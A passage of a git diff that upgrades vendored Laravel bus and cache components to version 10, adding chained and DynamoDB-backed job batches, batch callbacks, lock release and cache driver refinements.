?? null, + ]; + + if (! empty($config['key']) && ! empty($config['secret'])) { + $dynamoConfig['credentials'] = Arr::only( + $config, + ['key', 'secret', 'token'] + ); + } + + return new DynamoBatchRepository( + $app->make(BatchFactory::class), + new DynamoDbClient($dynamoConfig), + $app->config->get('app.name'), + $app->config->get('queue.batching.table', 'job_batches'), + ttl: $app->config->get('queue.batching.ttl', null), + ttlAttribute: $app->config->get('queue.batching.ttl_attribute', 'ttl'), + ); + }); } /** @@ -64,6 +98,7 @@ public function provides() DispatcherContract::class, QueueingDispatcherContract::class, BatchRepository::class, + DatabaseBatchRepository::class, ]; } } diff --git a/vendor/illuminate/bus/ChainedBatch.php b/vendor/illuminate/bus/ChainedBatch.php new file mode 100644 index 000000000..903c66845 --- /dev/null +++ b/vendor/illuminate/bus/ChainedBatch.php @@ -0,0 +1,142 @@ +jobs = static::prepareNestedBatches($batch->jobs); + + $this->name = $batch->name; + $this->options = $batch->options; + } + + /** + * Prepare any nested batches within the given collection of jobs. + * + * @param \Illuminate\Support\Collection $jobs + * @return \Illuminate\Support\Collection + */ + public static function prepareNestedBatches(Collection $jobs): Collection + { + return $jobs->map(fn ($job) => match (true) { + is_array($job) => static::prepareNestedBatches(collect($job))->all(), + $job instanceof Collection => static::prepareNestedBatches($job), + $job instanceof PendingBatch => new ChainedBatch($job), + default => $job, + }); + } + + /** + * Handle the job. + * + * @return void + */ + public function handle() + { + $this->attachRemainderOfChainToEndOfBatch( + $this->toPendingBatch() + )->dispatch(); + } + + /** + * Convert the chained batch instance into a pending batch. + * + * @return \Illuminate\Bus\PendingBatch + */ + public function toPendingBatch() + { + $batch = Container::getInstance()->make(Dispatcher::class)->batch($this->jobs); + + $batch->name = $this->name; + $batch->options = $this->options; + + if ($this->queue) { + $batch->onQueue($this->queue); + } + + if ($this->connection) { + $batch->onConnection($this->connection); + } + + foreach ($this->chainCatchCallbacks ?? [] as $callback) { + $batch->catch(function (Batch $batch, ?Throwable $exception) use ($callback) { + if (! $batch->allowsFailures()) { + $callback($exception); + } + }); + } + + return $batch; + } + + /** + * Move the remainder of the chain to a "finally" batch callback. + * + * @param \Illuminate\Bus\PendingBatch $batch + * @return \Illuminate\Bus\PendingBatch + */ + protected function attachRemainderOfChainToEndOfBatch(PendingBatch $batch) + { + if (! empty($this->chained)) { + $next = unserialize(array_shift($this->chained)); + + $next->chained = $this->chained; + + $next->onConnection($next->connection ?: $this->chainConnection); + $next->onQueue($next->queue ?: $this->chainQueue); + + $next->chainConnection = $this->chainConnection; + $next->chainQueue = $this->chainQueue; + $next->chainCatchCallbacks = $this->chainCatchCallbacks; + + $batch->finally(function (Batch $batch) use ($next) { + if (! $batch->cancelled()) { + Container::getInstance()->make(Dispatcher::class)->dispatch($next); + } + }); + + $this->chained = []; + } + + return $batch; + } +} diff --git a/vendor/illuminate/bus/DatabaseBatchRepository.php b/vendor/illuminate/bus/DatabaseBatchRepository.php index ee544b042..5a7aadde6 100644 --- a/vendor/illuminate/bus/DatabaseBatchRepository.php +++ b/vendor/illuminate/bus/DatabaseBatchRepository.php @@ -9,6 +9,7 @@ use Illuminate\Database\PostgresConnection; use Illuminate\Database\Query\Expression; use Illuminate\Support\Str; +use Throwable; class DatabaseBatchRepository implements PrunableBatchRepository { @@ -59,9 +60,7 @@ public function get($limit = 50, $before = null) return $this->connection->table($this->table) ->orderByDesc('id') ->take($limit) - ->when($before, function ($q) use ($before) { - return $q->where('id', '<', $before); - }) + ->when($before, fn ($q) => $q->where('id', '<', $before)) ->get() ->map(function ($batch) { return $this->toBatch($batch); @@ -78,6 +77,7 @@ public function get($limit = 50, $before = null) public function find(string $batchId) { $batch = $this->connection->table($this->table) + ->useWritePdo() ->where('id', $batchId) ->first(); @@ -141,7 +141,7 @@ public function decrementPendingJobs(string $batchId, string $jobId) return [ 'pending_jobs' => $batch->pending_jobs - 1, 'failed_jobs' => $batch->failed_jobs, - 'failed_job_ids' => json_encode(array_values(array_diff(json_decode($batch->failed_job_ids, true), [$jobId]))), + 'failed_job_ids' => json_encode(array_values(array_diff((array) json_decode($batch->failed_job_ids, true), [$jobId]))), ]; }); @@ -164,7 +164,7 @@ public function incrementFailedJobs(string $batchId, string $jobId) return [ 'pending_jobs' => $batch->pending_jobs, 'failed_jobs' => $batch->failed_jobs + 1, - 'failed_job_ids' => json_encode(array_values(array_unique(array_merge(json_decode($batch->failed_job_ids, true), [$jobId])))), + 'failed_job_ids' => json_encode(array_values(array_unique(array_merge((array) json_decode($batch->failed_job_ids, true), [$jobId])))), ]; }); @@ -278,6 +278,29 @@ public function pruneUnfinished(DateTimeInterface $before) return $totalDeleted; } + /** + * Prune all of the cancelled entries older than the given date. + * + * @param \DateTimeInterface $before + * @return int + */ + public function pruneCancelled(DateTimeInterface $before) + { + $query = $this->connection->table($this->table) + ->whereNotNull('cancelled_at') + ->where('created_at', '<', $before->getTimestamp()); + + $totalDeleted = 0; + + do { + $deleted = $query->take(1000)->delete(); + + $totalDeleted += $deleted; + } while ($deleted !== 0); + + return $totalDeleted; + } + /** * Execute the given Closure within a storage specific transaction. * @@ -286,9 +309,17 @@ public function pruneUnfinished(DateTimeInterface $before) */ public function transaction(Closure $callback) { - return $this->connection->transaction(function () use ($callback) { - return $callback(); - }); + return $this->connection->transaction(fn () => $callback()); + } + + /** + * Rollback the last database transaction for the connection. + * + * @return void + */ + public function rollBack() + { + $this->connection->rollBack(); } /** @@ -319,7 +350,11 @@ protected function unserialize($serialized) $serialized = base64_decode($serialized); } - return unserialize($serialized); + try { + return unserialize($serialized); + } catch (Throwable) { + return []; + } } /** @@ -337,11 +372,32 @@ protected function toBatch($batch) (int) $batch->total_jobs, (int) $batch->pending_jobs, (int) $batch->failed_jobs, - json_decode($batch->failed_job_ids, true), + (array) json_decode($batch->failed_job_ids, true), $this->unserialize($batch->options), CarbonImmutable::createFromTimestamp($batch->created_at), $batch->cancelled_at ? CarbonImmutable::createFromTimestamp($batch->cancelled_at) : $batch->cancelled_at, $batch->finished_at ? CarbonImmutable::createFromTimestamp($batch->finished_at) : $batch->finished_at ); } + + /** + * Get the underlying database connection. + * + * @return \Illuminate\Database\Connection + */ + public function getConnection() + { + return $this->connection; + } + + /** + * Set the underlying database connection. + * + * @param \Illuminate\Database\Connection $connection + * @return void + */ + public function setConnection(Connection $connection) + { + $this->connection = $connection; + } } diff --git a/vendor/illuminate/bus/Dispatcher.php b/vendor/illuminate/bus/Dispatcher.php index 4dc390e65..86b19dfea 100644 --- a/vendor/illuminate/bus/Dispatcher.php +++ b/vendor/illuminate/bus/Dispatcher.php @@ -163,6 +163,7 @@ public function batch($jobs) public function chain($jobs) { $jobs = Collection::wrap($jobs); + $jobs = ChainedBatch::prepareNestedBatches($jobs); return new PendingChain($jobs->shift(), $jobs->toArray()); } @@ -263,7 +264,7 @@ protected function pushCommandToQueue($queue, $command) public function dispatchAfterResponse($command, $handler = null) { $this->container->terminating(function () use ($command, $handler) { - $this->dispatchNow($command, $handler); + $this->dispatchSync($command, $handler); }); } diff --git a/vendor/illuminate/bus/DynamoBatchRepository.php b/vendor/illuminate/bus/DynamoBatchRepository.php new file mode 100644 index 000000000..7753fa212 --- /dev/null +++ b/vendor/illuminate/bus/DynamoBatchRepository.php @@ -0,0 +1,536 @@ +factory = $factory; + $this->dynamoDbClient = $dynamoDbClient; + $this->applicationName = $applicationName; + $this->table = $table; + $this->ttl = $ttl; + $this->ttlAttribute = $ttlAttribute; + $this->marshaler = new Marshaler; + } + + /** + * Retrieve a list of batches. + * + * @param int $limit + * @param mixed $before + * @return \Illuminate\Bus\Batch[] + */ + public function get($limit = 50, $before = null) + { + $condition = 'application = :application'; + + if ($before) { + $condition = 'application = :application AND id < :id'; + } + + $result = $this->dynamoDbClient->query([ + 'TableName' => $this->table, + 'KeyConditionExpression' => $condition, + 'ExpressionAttributeValues' => array_filter([ + ':application' => ['S' => $this->applicationName], + ':id' => array_filter(['S' => $before]), + ]), + 'Limit' => $limit, + 'ScanIndexForward' => false, + ]); + + return array_map( + fn ($b) => $this->toBatch($this->marshaler->unmarshalItem($b, mapAsObject: true)), + $result['Items'] + ); + } + + /** + * Retrieve information about an existing batch. + * + * @param string $batchId + * @return \Illuminate\Bus\Batch|null + */ + public function find(string $batchId) + { + if ($batchId === '') { + return null; + } + + $b = $this->dynamoDbClient->getItem([ + 'TableName' => $this->table, + 'Key' => [ + 'application' => ['S' => $this->applicationName], + 'id' => ['S' => $batchId], + ], + ]); + + if (! isset($b['Item'])) { + // If we didn't find it via a standard read, attempt consistent read... + $b = $this->dynamoDbClient->getItem([ + 'TableName' => $this->table, + 'Key' => [ + 'application' => ['S' => $this->applicationName], + 'id' => ['S' => $batchId], + ], + 'ConsistentRead' => true, + ]); + + if (! isset($b['Item'])) { + return null; + } + } + + $batch = $this->marshaler->unmarshalItem($b['Item'], mapAsObject: true); + + if ($batch) { + return $this->toBatch($batch); + } + } + + /** + * Store a new pending batch. + * + * @param \Illuminate\Bus\PendingBatch $batch + * @return \Illuminate\Bus\Batch + */ + public function store(PendingBatch $batch) + { + $id = (string) Str::orderedUuid(); + + $batch = [ + 'id' => $id, + 'name' => $batch->name, + 'total_jobs' => 0, + 'pending_jobs' => 0, + 'failed_jobs' => 0, + 'failed_job_ids' => [], + 'options' => $this->serialize($batch->options ?? []), + 'created_at' => time(), + 'cancelled_at' => null, + 'finished_at' => null, + ]; + + if (! is_null($this->ttl)) { + $batch[$this->ttlAttribute] = time() + $this->ttl; + } + + $this->dynamoDbClient->putItem([ + 'TableName' => $this->table, + 'Item' => $this->marshaler->marshalItem( + array_merge(['application' => $this->applicationName], $batch) + ), + ]); + + return $this->find($id); + } + + /** + * Increment the total number of jobs within the batch. + * + * @param string $batchId + * @param int $amount + * @return void + */ + public function incrementTotalJobs(string $batchId, int $amount) + { + $update = 'SET total_jobs = total_jobs + :val, pending_jobs = pending_jobs + :val'; + + if ($this->ttl) { + $update = "SET total_jobs = total_jobs + :val, pending_jobs = pending_jobs + :val, #{$this->ttlAttribute} = :ttl"; + } + + $this->dynamoDbClient->updateItem(array_filter([ + 'TableName' => $this->table, + 'Key' => [ + 'application' => ['S' => $this->applicationName], + 'id' => ['S' => $batchId], + ], + 'UpdateExpression' => $update, + 'ExpressionAttributeValues' => array_filter([ + ':val' => ['N' => "$amount"], + ':ttl' => array_filter(['N' => $this->getExpiryTime()]), + ]), + 'ExpressionAttributeNames' => $this->ttlExpressionAttributeName(), + 'ReturnValues' => 'ALL_NEW', + ])); + } + + /** + * Decrement the total number of pending jobs for the batch. + * + * @param string $batchId + * @param string $jobId + * @return \Illuminate\Bus\UpdatedBatchJobCounts + */ + public function decrementPendingJobs(string $batchId, string $jobId) + { + $update = 'SET pending_jobs = pending_jobs - :inc'; + + if ($this->ttl !== null) { + $update = "SET pending_jobs = pending_jobs - :inc, #{$this->ttlAttribute} = :ttl"; + } + + $batch = $this->dynamoDbClient->updateItem(array_filter([ + 'TableName' => $this->table, + 'Key' => [ + 'application' => ['S' => $this->applicationName], + 'id' => ['S' => $batchId], + ], + 'UpdateExpression' => $update, + 'ExpressionAttributeValues' => array_filter([ + ':inc' => ['N' => '1'], + ':ttl' => array_filter(['N' => $this->getExpiryTime()]), + ]), + 'ExpressionAttributeNames' => $this->ttlExpressionAttributeName(), + 'ReturnValues' => 'ALL_NEW', + ])); + + $values = $this->marshaler->unmarshalItem($batch['Attributes']); + + return new UpdatedBatchJobCounts( + $values['pending_jobs'], + $values['failed_jobs'] + ); + } + + /** + * Increment the total number of failed jobs for the batch. + * + * @param string $batchId + * @param string $jobId + * @return \Illuminate\Bus\UpdatedBatchJobCounts + */ + public function incrementFailedJobs(string $batchId, string $jobId) + { + $update = 'SET failed_jobs = failed_jobs + :inc, failed_job_ids = list_append(failed_job_ids, :jobId)'; + + if ($this->ttl !== null) { + $update = "SET failed_jobs = failed_jobs + :inc, failed_job_ids = list_append(failed_job_ids, :jobId), #{$this->ttlAttribute} = :ttl"; + } + + $batch = $this->dynamoDbClient->updateItem(array_filter([ + 'TableName' => $this->table, + 'Key' => [ + 'application' => ['S' => $this->applicationName], + 'id' => ['S' => $batchId], + ], + 'UpdateExpression' => $update, + 'ExpressionAttributeValues' => array_filter([ + ':jobId' => $this->marshaler->marshalValue([$jobId]), + ':inc' => ['N' => '1'], + ':ttl' => array_filter(['N' => $this->getExpiryTime()]), + ]), + 'ExpressionAttributeNames' => $this->ttlExpressionAttributeName(), + 'ReturnValues' => 'ALL_NEW', + ])); + + $values = $this->marshaler->unmarshalItem($batch['Attributes']); + + return new UpdatedBatchJobCounts( + $values['pending_jobs'], + $values['failed_jobs'] + ); + } + + /** + * Mark the batch that has the given ID as finished. + * + * @param string $batchId + * @return void + */ + public function markAsFinished(string $batchId) + { + $update = 'SET finished_at = :timestamp'; + + if ($this->ttl !== null) { + $update = "SET finished_at = :timestamp, #{$this->ttlAttribute} = :ttl"; + } + + $this->dynamoDbClient->updateItem(array_filter([ + 'TableName' => $this->table, + 'Key' => [ + 'application' => ['S' => $this->applicationName], + 'id' => ['S' => $batchId], + ], + 'UpdateExpression' => $update, + 'ExpressionAttributeValues' => array_filter([ + ':timestamp' => ['N' => (string) time()], + ':ttl' => array_filter(['N' => $this->getExpiryTime()]), + ]), + 'ExpressionAttributeNames' => $this->ttlExpressionAttributeName(), + ])); + } + + /** + * Cancel the batch that has the given ID. + * + * @param string $batchId + * @return void + */ + public function cancel(string $batchId) + { + $update = 'SET cancelled_at = :timestamp, finished_at = :timestamp'; + + if ($this->ttl !== null) { + $update = "SET cancelled_at = :timestamp, finished_at = :timestamp, #{$this->ttlAttribute} = :ttl"; + } + + $this->dynamoDbClient->updateItem(array_filter([ + 'TableName' => $this->table, + 'Key' => [ + 'application' => ['S' => $this->applicationName], + 'id' => ['S' => $batchId], + ], + 'UpdateExpression' => $update, + 'ExpressionAttributeValues' => array_filter([ + ':timestamp' => ['N' => (string) time()], + ':ttl' => array_filter(['N' => $this->getExpiryTime()]), + ]), + 'ExpressionAttributeNames' => $this->ttlExpressionAttributeName(), + ])); + } + + /** + * Delete the batch that has the given ID. + * + * @param string $batchId + * @return void + */ + public function delete(string $batchId) + { + $this->dynamoDbClient->deleteItem([ + 'TableName' => $this->table, + 'Key' => [ + 'application' => ['S' => $this->applicationName], + 'id' => ['S' => $batchId], + ], + ]); + } + + /** + * Execute the given Closure within a storage specific transaction. + * + * @param \Closure $callback + * @return mixed + */ + public function transaction(Closure $callback) + { + return $callback(); + } + + /** + * Rollback the last database transaction for the connection. + * + * @return void + */ + public function rollBack() + { + } + + /** + * Convert the given raw batch to a Batch object. + * + * @param object $batch + * @return \Illuminate\Bus\Batch + */ + protected function toBatch($batch) + { + return $this->factory->make( + $this, + $batch->id, + $batch->name, + (int) $batch->total_jobs, + (int) $batch->pending_jobs, + (int) $batch->failed_jobs, + $batch->failed_job_ids, + $this->unserialize($batch->options) ?? [], + CarbonImmutable::createFromTimestamp($batch->created_at), + $batch->cancelled_at ? CarbonImmutable::createFromTimestamp($batch->cancelled_at) : $batch->cancelled_at, + $batch->finished_at ? CarbonImmutable::createFromTimestamp($batch->finished_at) : $batch->finished_at + ); + } + + /** + * Create the underlying DynamoDB table. + * + * @return void + */ + public function createAwsDynamoTable(): void + { + $definition = [ + 'TableName' => $this->table, + 'AttributeDefinitions' => [ + [ + 'AttributeName' => 'application', + 'AttributeType' => 'S', + ], + [ + 'AttributeName' => 'id', + 'AttributeType' => 'S', + ], + ], + 'KeySchema' => [ + [ + 'AttributeName' => 'application', + 'KeyType' => 'HASH', + ], + [ + 'AttributeName' => 'id', + 'KeyType' => 'RANGE', + ], + ], + 'BillingMode' => 'PAY_PER_REQUEST', + ]; + + $this->dynamoDbClient->createTable($definition); + + if (! is_null($this->ttl)) { + $this->dynamoDbClient->updateTimeToLive([ + 'TableName' => $this->table, + 'TimeToLiveSpecification' => [ + 'AttributeName' => $this->ttlAttribute, + 'Enabled' => true, + ], + ]); + } + } + + /** + * Delete the underlying DynamoDB table. + */ + public function deleteAwsDynamoTable(): void + { + $this->dynamoDbClient->deleteTable([ + 'TableName' => $this->table, + ]); + } + + /** + * Get the expiry time based on the configured time-to-live. + * + * @return string|null + */ + protected function getExpiryTime(): ?string + { + return is_null($this->ttl) ? null : (string) (time() + $this->ttl); + } + + /** + * Get the expression attribute name for the time-to-live attribute. + * + * @return array + */ + protected function ttlExpressionAttributeName(): array + { + return is_null($this->ttl) ? [] : ["#{$this->ttlAttribute}" => $this->ttlAttribute]; + } + + /** + * Serialize the given value. + * + * @param mixed $value + * @return string + */ + protected function serialize($value) + { + return serialize($value); + } + + /** + * Unserialize the given value. + * + * @param string $serialized + * @return mixed + */ + protected function unserialize($serialized) + { + return unserialize($serialized); + } + + /** + * Get the underlying DynamoDB client instance. + * + * @return \Aws\DynamoDb\DynamoDbClient + */ + public function getDynamoClient(): DynamoDbClient + { + return $this->dynamoDbClient; + } + + /** + * The the name of the table that contains the batch records. + * + * @return string + */ + public function getTable(): string + { + return $this->table; + } +} diff --git a/vendor/illuminate/bus/PendingBatch.php b/vendor/illuminate/bus/PendingBatch.php index 77cb7fa88..1b3b01bd0 100644 --- a/vendor/illuminate/bus/PendingBatch.php +++ b/vendor/illuminate/bus/PendingBatch.php @@ -6,13 +6,16 @@ use Illuminate\Bus\Events\BatchDispatched; use Illuminate\Contracts\Container\Container; use Illuminate\Contracts\Events\Dispatcher as EventDispatcher; -use Illuminate\Queue\SerializableClosureFactory; use Illuminate\Support\Arr; use Illuminate\Support\Collection; +use Illuminate\Support\Traits\Conditionable; +use Laravel\SerializableClosure\SerializableClosure; use Throwable; class PendingBatch { + use Conditionable; + /** * The IoC container instance. * @@ -57,11 +60,13 @@ public function __construct(Container $container, Collection $jobs) /** * Add jobs to the batch. * - * @param iterable $jobs + * @param iterable|object|array $jobs * @return $this */ public function add($jobs) { + $jobs = is_iterable($jobs) ? $jobs : Arr::wrap($jobs); + foreach ($jobs as $job) { $this->jobs->push($job); } @@ -69,6 +74,56 @@ public function add($jobs) return $this; } + /** + * Add a callback to be executed when the batch is stored. + * + * @param callable $callback + * @return $this + */ + public function before($callback) + { + $this->options['before'][] = $callback instanceof Closure + ? new SerializableClosure($callback) + : $callback; + + return $this; + } + + /** + * Get the "before" callbacks that have been registered with the pending batch. + * + * @return array + */ + public function beforeCallbacks() + { + return $this->options['before'] ?? []; + } + + /** + * Add a callback to be executed after a job in the batch have executed successfully. + * + * @param callable $callback + * @return $this + */ + public function progress($callback) + { + $this->options['progress'][] = $callback instanceof Closure + ? new SerializableClosure($callback) + : $callback; + + return $this; + } + + /** + * Get the "progress" callbacks that have been registered with the pending batch. + * + * @return array + */ + public function progressCallbacks() + { + return $this->options['progress'] ?? []; + } + /** * Add a callback to be executed after all jobs in the batch have executed successfully. * @@ -78,7 +133,7 @@ public function add($jobs) public function then($callback) { $this->options['then'][] = $callback instanceof Closure - ? SerializableClosureFactory::make($callback) + ? new SerializableClosure($callback) : $callback; return $this; @@ -103,7 +158,7 @@ public function thenCallbacks() public function catch($callback) { $this->options['catch'][] = $callback instanceof Closure - ? SerializableClosureFactory::make($callback) + ? new SerializableClosure($callback) : $callback; return $this; @@ -128,7 +183,7 @@ public function catchCallbacks() public function finally($callback) { $this->options['finally'][] = $callback instanceof Closure - ? SerializableClosureFactory::make($callback) + ? new SerializableClosure($callback) : $callback; return $this; @@ -252,7 +307,7 @@ public function dispatch() $repository = $this->container->make(BatchRepository::class); try { - $batch = $repository->store($this); + $batch = $this->store($repository); $batch = $batch->add($this->jobs); } catch (Throwable $e) { @@ -269,4 +324,94 @@ public function dispatch() return $batch; } + + /** + * Dispatch the batch after the response is sent to the browser. + * + * @return \Illuminate\Bus\Batch + */ + public function dispatchAfterResponse() + { + $repository = $this->container->make(BatchRepository::class); + + $batch = $this->store($repository); + + if ($batch) { + $this->container->terminating(function () use ($batch) { + $this->dispatchExistingBatch($batch); + }); + } + + return $batch; + } + + /** + * Dispatch an existing batch. + * + * @param \Illuminate\Bus\Batch $batch + * @return void + * + * @throws \Throwable + */ + protected function dispatchExistingBatch($batch) + { + try { + $batch = $batch->add($this->jobs); + } catch (Throwable $e) { + if (isset($batch)) { + $batch->delete(); + } + + throw $e; + } + + $this->container->make(EventDispatcher::class)->dispatch( + new BatchDispatched($batch) + ); + } + + /** + * Dispatch the batch if the given truth test passes. + * + * @param bool|\Closure $boolean + * @return \Illuminate\Bus\Batch|null + */ + public function dispatchIf($boolean) + { + return value($boolean) ? $this->dispatch() : null; + } + + /** + * Dispatch the batch unless the given truth test passes. + * + * @param bool|\Closure $boolean + * @return \Illuminate\Bus\Batch|null + */ + public function dispatchUnless($boolean) + { + return ! value($boolean) ? $this->dispatch() : null; + } + + /** + * Store the batch using the given repository. + * + * @param \Illuminate\Bus\BatchRepository $repository + * @return \Illuminate\Bus\Batch + */ + protected function store($repository) + { + $batch = $repository->store($this); + + collect($this->beforeCallbacks())->each(function ($handler) use ($batch) { + try { + return $handler($batch); + } catch (Throwable $e) { + if (function_exists('report')) { + report($e); + } + } + }); + + return $batch; + } } diff --git a/vendor/illuminate/bus/Queueable.php b/vendor/illuminate/bus/Queueable.php index 8e9306059..3d3bbb9b2 100644 --- a/vendor/illuminate/bus/Queueable.php +++ b/vendor/illuminate/bus/Queueable.php @@ -47,7 +47,7 @@ trait Queueable /** * The number of seconds before the job should be made available. * - * @var \DateTimeInterface|\DateInterval|int|null + * @var \DateTimeInterface|\DateInterval|array|int|null */ public $delay; @@ -127,9 +127,9 @@ public function allOnQueue($queue) } /** - * Set the desired delay for the job. + * Set the desired delay in seconds for the job. * - * @param \DateTimeInterface|\DateInterval|int|null $delay + * @param \DateTimeInterface|\DateInterval|array|int|null $delay * @return $this */ public function delay($delay) @@ -191,6 +191,32 @@ public function chain($chain) return $this; } + /** + * Prepend a job to the current chain so that it is run after the currently running job. + * + * @param mixed $job + * @return $this + */ + public function prependToChain($job) + { + $this->chained = Arr::prepend($this->chained, $this->serializeJob($job)); + + return $this; + } + + /** + * Append a job to the end of the current chain. + * + * @param mixed $job + * @return $this + */ + public function appendToChain($job) + { + $this->chained = array_merge($this->chained, [$this->serializeJob($job)]); + + return $this; + } + /** * Serialize a job for queuing. * diff --git a/vendor/illuminate/bus/UniqueLock.php b/vendor/illuminate/bus/UniqueLock.php index a937b1869..a4066b77c 100644 --- a/vendor/illuminate/bus/UniqueLock.php +++ b/vendor/illuminate/bus/UniqueLock.php @@ -32,17 +32,44 @@ public function __construct(Cache $cache) */ public function acquire($job) { - $uniqueId = method_exists($job, 'uniqueId') - ? $job->uniqueId() - : ($job->uniqueId ?? ''); + $uniqueFor = method_exists($job, 'uniqueFor') + ? $job->uniqueFor() + : ($job->uniqueFor ?? 0); + + $cache = method_exists($job, 'uniqueVia') + ? $job->uniqueVia() + : $this->cache; + return (bool) $cache->lock($this->getKey($job), $uniqueFor)->get(); + } + + /** + * Release the lock for the given job. + * + * @param mixed $job + * @return void + */ + public function release($job) + { $cache = method_exists($job, 'uniqueVia') ? $job->uniqueVia() : $this->cache; - return (bool) $cache->lock( - $key = 'laravel_unique_job:'.get_class($job).$uniqueId, - $job->uniqueFor ?? 0 - )->get(); + $cache->lock($this->getKey($job))->forceRelease(); + } + + /** + * Generate the lock key for the given job. + * + * @param mixed $job + * @return string + */ + protected function getKey($job) + { + $uniqueId = method_exists($job, 'uniqueId') + ? $job->uniqueId() + : ($job->uniqueId ?? ''); + + return 'laravel_unique_job:'.get_class($job).$uniqueId; } } diff --git a/vendor/illuminate/bus/composer.json b/vendor/illuminate/bus/composer.json index 12713a61c..609224f08 100644 --- a/vendor/illuminate/bus/composer.json +++ b/vendor/illuminate/bus/composer.json @@ -14,11 +14,11 @@ } ], "require": { - "php": "^7.3|^8.0", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/pipeline": "^8.0", - "illuminate/support": "^8.0" + "php": "^8.1", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/pipeline": "^10.0", + "illuminate/support": "^10.0" }, "autoload": { "psr-4": { @@ -27,7 +27,7 @@ }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "suggest": { diff --git a/vendor/illuminate/cache/ApcStore.php b/vendor/illuminate/cache/ApcStore.php index 90132c16f..5779635b2 100644 --- a/vendor/illuminate/cache/ApcStore.php +++ b/vendor/illuminate/cache/ApcStore.php @@ -41,11 +41,7 @@ public function __construct(ApcWrapper $apc, $prefix = '') */ public function get($key) { - $value = $this->apc->get($this->prefix.$key); - - if ($value !== false) { - return $value; - } + return $this->apc->get($this->prefix.$key); } /** diff --git a/vendor/illuminate/cache/ApcWrapper.php b/vendor/illuminate/cache/ApcWrapper.php index 6c129c633..8f6ce4881 100644 --- a/vendor/illuminate/cache/ApcWrapper.php +++ b/vendor/illuminate/cache/ApcWrapper.php @@ -29,7 +29,9 @@ public function __construct() */ public function get($key) { - return $this->apcu ? apcu_fetch($key) : apc_fetch($key); + $fetchedValue = $this->apcu ? apcu_fetch($key, $success) : apc_fetch($key, $success); + + return $success ? $fetchedValue : null; } /** diff --git a/vendor/illuminate/cache/ArrayLock.php b/vendor/illuminate/cache/ArrayLock.php index 4c20783b2..8e1ebe203 100644 --- a/vendor/illuminate/cache/ArrayLock.php +++ b/vendor/illuminate/cache/ArrayLock.php @@ -87,6 +87,10 @@ public function release() */ protected function getCurrentOwner() { + if (! $this->exists()) { + return null; + } + return $this->store->locks[$this->name]['owner']; } diff --git a/vendor/illuminate/cache/ArrayStore.php b/vendor/illuminate/cache/ArrayStore.php index 22b42ba5f..4cca8cbf6 100644 --- a/vendor/illuminate/cache/ArrayStore.php +++ b/vendor/illuminate/cache/ArrayStore.php @@ -3,6 +3,7 @@ namespace Illuminate\Cache; use Illuminate\Contracts\Cache\LockProvider; +use Illuminate\Support\Carbon; use Illuminate\Support\InteractsWithTime; class ArrayStore extends TaggableStore implements LockProvider @@ -57,7 +58,7 @@ public function get($key) $expiresAt = $item['expiresAt'] ?? 0; - if ($expiresAt !== 0 && $this->currentTime() > $expiresAt) { + if ($expiresAt !== 0 && (Carbon::now()->getPreciseTimestamp(3) / 1000) >= $expiresAt) { $this->forget($key); return; @@ -173,7 +174,7 @@ public function getPrefix() * Get the expiration time of the key. * * @param int $seconds - * @return int + * @return float */ protected function calculateExpiration($seconds) { @@ -181,14 +182,14 @@ protected function calculateExpiration($seconds) } /** - * Get the UNIX timestamp for the given number of seconds. + * Get the UNIX timestamp, with milliseconds, for the given number of seconds in the future. * * @param int $seconds - * @return int + * @return float */ protected function toTimestamp($seconds) { - return $seconds > 0 ? $this->availableAt($seconds) : 0; + return $seconds > 0 ? (Carbon::now()->getPreciseTimestamp(3) / 1000) + $seconds : 0; } /** diff --git a/vendor/illuminate/cache/CacheLock.php b/vendor/illuminate/cache/CacheLock.php index 310d9fb5d..5cc4eeaf4 100644 --- a/vendor/illuminate/cache/CacheLock.php +++ b/vendor/illuminate/cache/CacheLock.php @@ -46,7 +46,7 @@ public function acquire() return ($this->seconds > 0) ? $this->store->put($this->name, $this->owner, $this->seconds) - : $this->store->forever($this->name, $this->owner, $this->seconds); + : $this->store->forever($this->name, $this->owner); } /** diff --git a/vendor/illuminate/cache/CacheManager.php b/vendor/illuminate/cache/CacheManager.php index 145b3e617..e5c904999 100644 --- a/vendor/illuminate/cache/CacheManager.php +++ b/vendor/illuminate/cache/CacheManager.php @@ -11,7 +11,8 @@ use InvalidArgumentException; /** - * @mixin \Illuminate\Contracts\Cache\Repository + * @mixin \Illuminate\Cache\Repository + * @mixin \Illuminate\Contracts\Cache\LockProvider */ class CacheManager implements FactoryContract { @@ -57,7 +58,7 @@ public function store($name = null) { $name = $name ?: $this->getDefaultDriver(); - return $this->stores[$name] = $this->get($name); + return $this->stores[$name] ??= $this->resolve($name); } /** @@ -71,17 +72,6 @@ public function driver($driver = null) return $this->store($driver); } - /** - * Attempt to get the store from the local cache. - * - * @param string $name - * @return \Illuminate\Contracts\Cache\Repository - */ - protected function get($name) - { - return $this->stores[$name] ?? $this->resolve($name); - } - /** * Resolve the given store. * @@ -90,7 +80,7 @@ protected function get($name) * * @throws \InvalidArgumentException */ - protected function resolve($name) + public function resolve($name) { $config = $this->getConfig($name); @@ -100,15 +90,15 @@ protected function resolve($name) if (isset($this->customCreators[$config['driver']])) { return $this->callCustomCreator($config); - } else { - $driverMethod = 'create'.ucfirst($config['driver']).'Driver'; + } - if (method_exists($this, $driverMethod)) { - return $this->{$driverMethod}($config); - } else { - throw new InvalidArgumentException("Driver [{$config['driver']}] is not supported."); - } + $driverMethod = 'create'.ucfirst($config['driver']).'Driver'; + + if (method_exists($this, $driverMethod)) { + return $this->{$driverMethod}($config); } + + throw new InvalidArgumentException("Driver [{$config['driver']}] is not supported."); } /** @@ -154,7 +144,10 @@ protected function createArrayDriver(array $config) */ protected function createFileDriver(array $config) { - return $this->repository(new FileStore($this->app['files'], $config['path'], $config['permission'] ?? null)); + return $this->repository( + (new FileStore($this->app['files'], $config['path'], $config['permission'] ?? null)) + ->setLockDirectory($config['lock_path'] ?? null) + ); } /** @@ -221,7 +214,8 @@ protected function createDatabaseDriver(array $config) $config['table'], $this->getPrefix($config), $config['lock_table'] ?? 'cache_locks', - $config['lock_lottery'] ?? [2, 100] + $config['lock_lottery'] ?? [2, 100], + $config['lock_timeout'] ?? 86400, ); return $this->repository($store->setLockConnection( @@ -254,7 +248,7 @@ protected function createDynamodbDriver(array $config) /** * Create new DynamoDb Client instance. * - * @return DynamoDbClient + * @return \Aws\DynamoDb\DynamoDbClient */ protected function newDynamodbClient(array $config) { @@ -264,12 +258,16 @@ 